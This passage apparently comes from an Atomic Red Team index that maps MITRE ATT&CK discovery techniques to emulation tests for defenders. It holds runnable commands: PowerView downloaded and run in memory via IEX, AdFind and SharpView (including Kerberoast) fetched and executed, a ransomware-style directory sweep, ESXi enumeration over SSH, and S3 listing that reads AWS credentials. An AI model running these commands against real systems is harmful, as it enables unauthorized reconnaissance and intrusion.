          ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
        name: powershell
    - name: Adfind - Enumerate Active Directory OUs
      auto_generated_guid: d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=organizationalUnit)
          #{optional_args}

          '
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Trusts
      auto_generated_guid: 15fe436d-e771-4ff3-b655-2dca9ba52834
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args}
          -gcb -sc trustdmp

          '
        name: command_prompt
    - name: Get-DomainTrust with PowerView
      auto_generated_guid: f974894c-5991-4b19-aaf5-7cc2fe298c5d
      description: 'Utilizing PowerView, run Get-DomainTrust to identify domain trusts.
        Upon execution, progress and info about trusts within the domain being scanned
        will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose
        name: powershell
    - name: Get-ForestTrust with PowerView
      auto_generated_guid: 58ed10e8-0738-4651-8408-3a3e9a526279
      description: 'Utilizing PowerView, run Get-ForestTrust to identify forest trusts.
        Upon execution, progress and info about forest trusts within the domain being
        scanned will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose
        name: powershell
    - name: TruffleSnout - Listing AD Infrastructure
      auto_generated_guid: ea1b4f2d-5b82-4006-b64f-f2845608a3bf
      description: 'Iterative AD discovery toolkit for offensive operators. Situational
        awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout

        '
      supported_platforms:
      - windows
      input_arguments:
        trufflesnout_path:
          description: Path to the TruffleSnout executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\TruffleSnout.exe
        domain:
          description: Domain name to search on
          type: string
          default: "%userdomain%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})

          '
        prereq_command: 'if (Test-Path "#{trufflesnout_path}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -ItemType Directory (Split-Path "#{trufflesnout_path}") -Force | Out-Null
          Invoke-WebRequest -Uri "https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe" -OutFile "#{trufflesnout_path}"
      executor:
        command: |
          "#{trufflesnout_path}" forest -n #{domain}
          "#{trufflesnout_path}" domain -n #{domain}
        name: command_prompt
  T1083:
    technique:
      modified: '2024-04-16T12:40:10.978Z'
      name: File and Directory Discovery
      description: |-
        Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)

        Some files and directories may require elevated or specific user permissions to access.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: "System and network discovery techniques normally occur throughout
        an operation as an adversary learns the environment. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as Collection and Exfiltration, based on the
        information obtained.\n\nMonitor processes and command-line arguments for
        actions that could be taken to gather system and network information. Remote
        access tools with built-in features may interact directly with the Windows
        API to gather information. Information may also be acquired through Windows
        system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further,
        [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands
        may also be used to gather file and directory information with built-in features
        native to the network device platform.  Monitor CLI activity for unexpected
        or unauthorized use of commands being run by non-standard users from non-standard
        locations.  "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      type: attack-pattern
      id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18
      created: '2017-05-31T21:31:04.710Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1083
        external_id: T1083
      - source_name: Windows Commands JPCERT
        description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers.
          Retrieved February 2, 2016.
        url: https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1083
    atomic_tests:
    - name: File and Directory Discovery (cmd.exe)
      auto_generated_guid: 0e36303b-6762-4500-b003-127743b80ba6
      description: 'Find or discover files on the file system.  Upon successful execution,
        this test will output the results of all the data discovery commands to a
        specified file.

        '
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: File to output results to
          type: string
          default: "%temp%\\T1083Test1.txt"
      executor:
        command: |
          dir /s c:\ >> #{output_file}
          dir /s "c:\Documents and Settings" >> #{output_file}
          dir /s "c:\Program Files\" >> #{output_file}
          dir "%systemdrive%\Users\*.*" >> #{output_file}
          dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> #{output_file}
          dir "%userprofile%\Desktop\*.*" >> #{output_file}
          tree /F >> #{output_file}
        cleanup_command: 'del #{output_file}

          '
        name: command_prompt
    - name: File and Directory Discovery (PowerShell)
      auto_generated_guid: 2158908e-b7ef-4c21-8a83-3ce4dd05a924
      description: 'Find or discover files on the file system. Upon execution, file
        and folder information will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          ls -recurse
          get-childitem -recurse
          gci -recurse
        name: powershell
    - name: Nix File and Directory Discovery
      auto_generated_guid: ffc8b249-372a-4b74-adcd-e4c0430842de
      description: |
        Find or discover files on the file system

        References:

        http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/

        https://perishablepress.com/list-files-folders-recursively-terminal/
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Output file used to store the results.
          type: path
          default: "/tmp/T1083.txt"
      executor:
        command: |
          ls -a >> #{output_file}
          if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;
          file */* *>> #{output_file}
          cat #{output_file} 2>/dev/null
          find . -type f
          ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
          locate *
          which sh
        cleanup_command: 'rm #{output_file}

          '
        name: sh
    - name: Nix File and Directory Discovery 2
      auto_generated_guid: 13c5e1ae-605b-46c4-a79f-db28c77ff24e
      description: 'Find or discover files on the file system

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Output file used to store the results.
          type: path
          default: "/tmp/T1083.txt"
      executor:
        command: |
          cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > #{output_file}
          if [ -f /etc/mtab ]; then cat /etc/mtab >> #{output_file}; fi;
          find . -type f -iname *.pdf >> #{output_file}
          cat #{output_file}
          find . -type f -name ".*"
        cleanup_command: 'rm #{output_file}'
        name: sh
    - name: Simulating MAZE Directory Enumeration
      auto_generated_guid: c6c34f61-1c3e-40fb-8a58-d017d88286d8
      description: "This test emulates MAZE ransomware's ability to enumerate directories
        using Powershell. \nUpon successful execution, this test will output the directory
        enumeration results to a specified file, as well as display them in the active
        window. \nSee https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents\n"
      supported_platforms:
      - windows
      input_arguments:
        File_to_output:
          description: File to output results to
          type: string
          default: "$env:temp\\T1083Test5.txt"
      executor:
        command: "$folderarray = @(\"Desktop\", \"Downloads\", \"Documents\", \"AppData/Local\",
          \"AppData/Roaming\")\nGet-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue
          | Out-File -append #{File_to_output}\nGet-ChildItem -Path $env:programfiles
          -erroraction silentlycontinue | Out-File -append #{File_to_output}\nGet-ChildItem
          -Path \"${env:ProgramFiles(x86)}\" -erroraction silentlycontinue | Out-File
          -append #{File_to_output}\n$UsersFolder = \"$env:homedrive\\Users\\\"\nforeach
          ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue)
          \n{\nforeach ($secondarydirectory in $folderarray)\n {Get-ChildItem -Path
          \"$UsersFolder/$directory/$secondarydirectory\" -ErrorAction SilentlyContinue
          | Out-File -append #{File_to_output}}\n}\ncat #{File_to_output}\n"
        cleanup_command: 'remove-item #{File_to_output} -ErrorAction SilentlyContinue

          '
        name: powershell
    - name: Launch DirLister Executable
      auto_generated_guid: c5bec457-43c9-4a18-9a24-fe151d8971b7
      description: |-
        Launches the DirLister executable for a short period of time and then exits.

        Recently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.
      supported_platforms:
      - windows
      input_arguments:
        dirlister_path:
          description: 'Path to the DirLister executable '
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\DirLister.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'DirLister.exe must exist in the specified path #{dirlister_path}

          '
        prereq_command: 'if (Test-Path "#{dirlister_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          $parentpath = Split-Path "#{dirlister_path}"
          New-Item -ItemType Directory -Force -Path $parentpath | Out-Null
          Invoke-WebRequest https://github.com/SanderSade/DirLister/releases/download/v2.beta4/DirLister.v2.beta4.zip -OutFile "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4\*" "$parentpath" -Recurse
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4.zip","PathToAtomicsFolder\..\ExternalPayloads\TDirLister.v2.beta4" -Recurse -ErrorAction Ignore
      executor:
        command: |
          Start-Process "#{dirlister_path}"
          Start-Sleep -Second 4
          Stop-Process -Name "DirLister"
        name: powershell
    - name: ESXi - Enumerate VMDKs available on an ESXi Host
      auto_generated_guid: 4a233a40-caf7-4cf1-890a-c6331bbc72cf
      description: |
        An adversary uses the find command to enumerate vmdks on an ESXi host.
        [Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to Plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        cli_script:
          description: Path to script with file discovery commands
          type: path
          default: PathToAtomicsFolder\T1083\src\esxi_file_discovery.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink is available.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw
          "#{vm_pass}" -m "#{cli_script}"

          '
        name: command_prompt
        elevation_required: false
  T1049:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: System Network Connections Discovery
      description: "Adversaries may attempt to get a listing of network connections
        to or from the compromised system they are currently accessing or from remote
        systems by querying for information over the network. \n\nAn adversary who
        gains access to a system that is part of a cloud-based environment may map
        out Virtual Private Clouds or Virtual Networks in order to determine what
        systems and services are connected. The actions performed are likely the same
        types of discovery techniques depending on the operating system, but the resulting
        information may include details about the networked cloud environment relevant
        to the adversary's goals. Cloud providers may have different ways in which
        their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation:
        Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly,
        adversaries who gain access to network devices may also perform similar discovery
        activities to gather information about connected systems and services.\n\nUtilities
        and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104),
        \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).
        In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code>
        can be used to list current connections. <code>who -a</code> and <code>w</code>
        can be used to show which users are currently logged in, similar to \"net
        session\". Additionally, built-in features native to network devices and [Network
        Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g.
        <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Network
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '2.4'
      x_mitre_contributors:
      - Praetorian
      - Austin Clark, @c2defense
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475
      created: '2017-05-31T21:30:45.139Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1049
        external_id: T1049
      - source_name: Amazon AWS VPC Guide
        description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.
        url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
      - source_name: Microsoft Azure Virtual Network Overview
        description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18).
          What is Azure Virtual Network?. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
      - source_name: Google VPC Overview
        description: Google. (2019, September 23). Virtual Private Cloud (VPC) network
          overview. Retrieved October 6, 2019.
        url: https://cloud.google.com/vpc/docs/vpc
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1049
    atomic_tests:
    - name: System Network Connections Discovery
      auto_generated_guid: '0940a971-809a-48f1-9c4d-b1d785e96ee5'
      description: |
        Get a listing of network connections.

        Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          netstat
          net use
          net sessions
        name: command_prompt
    - name: System Network Connections Discovery with PowerShell
      auto_generated_guid: f069f0f1-baad-4831-aa2b-eddac4baac4a
      description: |
        Get a listing of network connections.

        Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'Get-NetTCPConnection

          '
        name: powershell
    - name: System Network Connections Discovery FreeBSD, Linux & MacOS
      auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2
      description: |
        Get a listing of network connections.

        Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
      supported_platforms:
      - linux
      - macos
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if netstat command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v netstat)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Install netstat on the machine."; exit 1;

          '
      executor:
        command: |
          netstat
          who -a
        name: sh
    - name: System Discovery using SharpView
      auto_generated_guid: 96f974bb-a0da-4d87-a744-ff33e73367e9
      description: "Get a listing of network connections, domains, domain users, and
        etc.  \nsharpview.exe located in the bin folder, an opensource red-team tool.\nUpon
        successful execution, cmd.exe will execute sharpview.exe <method>. Results
        will output via stdout.\n"
      supported_platforms:
      - windows
      input_arguments:
        SharpView_url:
          description: sharpview download URL
          type: url
          default: https://github.com/tevora-threat/SharpView/blob/b60456286b41bb055ee7bc2a14d645410cca9b74/Compiled/SharpView.exe?raw=true
        SharpView:
          description: Path of the executable opensource redteam tool used for the
            performing this atomic.
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\SharpView.exe
        syntax:
          description: Arguements method used along with SharpView to get listing
            of network connections, domains, domain users, and etc.
          type: string
          default: "\"Invoke-ACLScanner\", \"Invoke-Kerberoast\", \"Find-DomainShare\"
            \n"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sharpview.exe must exist on disk at specified location (#{SharpView})

          '
        prereq_command: 'if (Test-Path "#{SharpView}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{SharpView}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest #{SharpView_url} -OutFile "#{SharpView}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $syntaxList = #{syntax}
          foreach ($syntax in $syntaxList) {
          #{SharpView} $syntax -}
  T1497:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Deloitte Threat Library Team
      - Sunny Neo
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
      type: attack-pattern
      created: '2019-04-17T22:22:24.505Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1497
        url: https://attack.mitre.org/techniques/T1497
      - source_name: Deloitte Environment Awareness
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
      - source_name: Unit 42 Pirpi July 2015
        url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
          23, 2019.'
      modified: '2022-04-25T14:00:00.188Z'
      name: Virtualization/Sandbox Evasion
      description: |+
        Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

        Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: Virtualization, sandbox, user activity, and related discovery
        techniques will likely occur in the first steps of an operation but may also
        occur throughout as an adversary learns the environment. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as lateral movement, based on the information
        obtained. Detecting actions related to virtualization and sandbox identification
        may be difficult depending on the adversary's implementation and monitoring
        required. Monitoring for suspicious processes being spawned that gather a
        variety of system information or perform other forms of Discovery, especially
        in a short period of time, may aid in detection.
      x_mitre_version: '1.3'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1619:
    technique:
      x_mitre_platforms:
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Regina Elwell
      - Isif Ibrahima, Mandiant
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156
      created: '2021-10-01T17:58:26.445Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1619
        url: https://attack.mitre.org/techniques/T1619
      - source_name: ListObjectsV2
        url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
        description: Amazon - ListObjectsV2. Retrieved October 4, 2021.
      - source_name: List Blobs
        url: https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs
        description: Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.

        Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Storage Object Discovery
      x_mitre_detection: "System and network discovery techniques normally occur throughout
        an operation as an adversary learns the environment. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as Collection and Exfiltration, based on the
        information obtained. \nMonitor cloud logs for API calls used for file or
        object enumeration for unusual activity. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Cloud Storage: Cloud Storage Access'
      - 'Cloud Storage: Cloud Storage Enumeration'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1619
    atomic_tests:
    - name: AWS S3 Enumeration
      auto_generated_guid: 3c7094f8-71ec-4917-aeb8-a633d7ec4ef5
      description: "This test will enumerate all the S3 buckets in the user account
        and lists all the files in each bucket. \n"
      supported_platforms:
      - iaas:aws
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          default profile using: aws configure

          '
      executor:
        command: 'for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2
          --bucket $bucket --output text; done

          '
        name: sh
        elevation_required: false
  T1654:
    technique:
      modified: '2023-09-30T22:18:46.711Z'
      name: Log Enumeration
      description: |-
        Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).

        Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)

        Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Bilal Bahadır Yenici
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969
      created: '2023-07-10T16:50:57.587Z'
